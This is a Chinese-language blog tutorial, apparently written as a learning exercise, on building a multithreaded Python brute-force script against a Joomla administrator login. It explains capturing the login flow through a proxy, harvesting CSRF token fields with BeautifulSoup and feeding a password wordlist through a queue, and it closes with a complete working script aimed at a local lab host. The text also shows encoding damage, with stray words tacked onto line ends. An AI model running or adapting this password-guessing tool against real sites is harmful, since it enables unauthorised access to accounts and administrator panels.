本文從零開始介紹一個網站登陸爆破腳本的編寫過程,經過腳本模擬網站登陸的做用有如下幾點:
1,web類安全工具須要一個強大的爬蟲爬取目標網站的全部頁面,以確認漏洞利用點。
若是遇到須要登陸才能爬取的狀況,能夠爬蟲直接模擬登陸過程。
2,已知部分信息,爆破網站後臺,爲下一步的滲透作準備。php
關於登陸爆破在《blackhat python》這本書中有一個例子,可是我用requests和beautifulsoup作了一些修改,後續還會以此爲基礎添加更多的功能。html
要模擬登陸網站就要知道網站的登陸認證過程,這裏以joomla這款開源cms爲例。
配置瀏覽器使用代理,本地127.0.0.1 8080端口,我使用了owasp zap
這款工具,其餘的工具如Burpsuite或者直接F12 均可以查看到包的信息。python
第一步,首先訪問後臺登陸頁面,抓包查看發現返回包中包含「SetCookie」響應頭,cookie此時做爲認證用戶身份的憑據,且每次訪問都會改變。web
第二步,接着POST方法提交登陸信息,一樣抓包查看
算法
能夠看到包裏的參數不僅有帳號密碼,還有token(用於防護CSRF)還有task等等。
認證的同時要抓取頁面表單的其餘input標籤的name和value。joomla的較爲簡單,網站通常不會明文傳輸用戶名和密碼,遇到這種狀況須要分析引入的js文件,模擬加密算法。瀏覽器
第三步,能夠經過代理歷史頁面看到,post請求觸發了303跳轉跳回了原url至關於又實現了一次GET請求,能夠查看到此次請求攜帶了以前設置的cookie。
到這裏網站的基本認證流程就結束了,接着咱們用工具自動化
安全
登陸過程當中用到了兩種方法,GET和POST方法,用reqeusts實現很簡單服務器
import requests res_get=requests.get(url) res_post=requests.post(url,data=data,cookies=cookies,headers=headers)
其中data屬性接收一個dict做爲post的數據,cookies和headers
請求頭均可以本身定義,將準備好的請求頭用dict封裝就能夠僞造一個firefox瀏覽器的請求
cookie
cookie處理的兩種方法
cookie值在第一次請求目標url的時候就已經設定好了
res_get.headers['Set-Cookie']
讀取響應頭取出set-cookie字段解析成dict
另外一種 cookies=res.cookies 自動處理能夠直接傳入get方法中。網絡
用到BeautifulSoup來解析html,你只須要傳入一個HTML就能隨意的處理解析它。
from bs4 import BeautifulSoup soup=BeautifulSoup(html)
要尋找全部的input標籤,將其中的name和value對應造成一個字典
soup.find_all(「input」)
將返回全部的input標籤構成的一個list,其中元素的類型是 <class 'bs4.element.Tag'>
這意味着能夠經過 tag.get("value")取出value的值,直接用tag["value"]也能夠。
認證的過程有了,接着不過就是替換password的值而已。
咱們採用隊列的方法提供要爆破的密碼字段
import Queue words=Queue.Queue() words.put(word) words.get()
借用書中的代碼
def build_wordlist(wordlist): fp=open(wordlist,'rb') raw_words=fp.readlines() fp.close() words=Queue.Queue() for word in raw_words: word=word.rstrip() if resume is not None: if found_resume: words.put(word) else: if word==resume: found_resume=True print "Resuming wordlist from : %s "%resume else: words.put(word) return words
這段代碼中的恢復機制不太明白,不清楚resume會在何處賦值
應對爆破過程當中目標網站掛了,或者被防火牆屏蔽的情況,咱們須要記錄下爆破的位置以便繼續爆破。
由於python中的GIL(全局解釋鎖),解釋器同一時刻只能運行一個線程。若是是計算密集型任務多線程是不起做用的,能夠嘗試多核運行。
網絡請求操做更多的時間消耗在網絡等待服務器響應的過程當中,這樣的狀況多線程可以提高效率。
import threading t=threading.Thread(target=web_bruter()) t.start()
target指定線程要執行的函數
經測試速度有三倍的提高
應對掉網的狀況採用try except 語句捕捉錯誤
爆破中關閉服務器後,requests拋出了ConnectionError異常
捕捉這個異常,而後將一個特殊值放入隊列中使隊列中的其餘線程所有關閉
其實不用這個方法也會關閉,每一個線程都會返回一個成功或是失敗的結果
from bs4 import BeautifulSoup import requests as s from requests import ConnectionError import Queue import sys import threading target_url="http://kali/joomla453/administrator/index.php" sucess_check="Administration - Control Panel" wordlist="cain.txt" headers={ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "keep-alive", "Referer": "http://kali/joomla453/administrator/index.php", "Content-Type": "application/x-www-form-urlencoded", "Host": "kali", } class Bruter(): def __init__(self,username,words): self.username=username self.password=words self.found=False self.res=s.get(target_url) self.password_q=words print "Seting up username : %s " %username def get_cookie(self): return self.res.cookies ‘’‘ def get_cookie(self): cookies={} co=self.res.headers['Set-Cookie'] a=co.split(';')[0].split('=') cookies[a[0]]=a[1] print "Cookie: "+str(cookies) return cookies ’‘’ def get_payload(self): payload={} html=self.res.content soup=BeautifulSoup(html,"lxml") tag_list=soup.find_all("input") for i in tag_list: payload[i['name']]=i.get('value') tag_user = soup.find_all("input",type="text") payload[tag_user[0]['name']]=self.username tag_pass = soup.find_all("input",type="password") pass_word=self.password_q.get() payload[tag_pass[0]['name']]=pass_word print "Trying : %s" %pass_word+"\n" print "Payload: "+str(payload) return payload def web_bruter(self): while not self.found and not self.password_q.empty(): try: a=s.post(target_url,data=self.get_payload(),headers=headers,cookies=self.get_cookie()) p=s.get(target_url,headers=headers,cookies=self.get_cookie()) if sucess_check in p.content: print "sucess" self.found = True except ConnectionError,e: print "Connection Error: %s" % e sys.exit() def run_thread(self): for i in range(10): t=threading.Thread(target=self.web_bruter) t.start() resume=None found_resume=False def build_wordlist(wordlist): fp=open(wordlist,'rb') raw_words=fp.readlines() fp.close() words=Queue.Queue() for word in raw_words: word=word.rstrip() if resume is not None: if found_resume: words.put(word) else: if word==resume: found_resume=True print "Resuming wordlist from : %s "%resume else: words.put(word) return words words=build_wordlist(wordlist) d=Bruter("moon",words) d.run_thread()
1,在讀取字典的時候一次都讀取了進來,若是是一個很大的字典,這樣會在開始浪費很長時間讀取,甚至程序崩潰
2,程序不夠通用,須要添加跟蹤JS加密算法的功能
3,字典中設置斷點應對中途中止的狀況,隨機字符串斷點要區別於字典中的字符串,或者是位置斷點更方便定位
《blackhat python》 《python cookbook》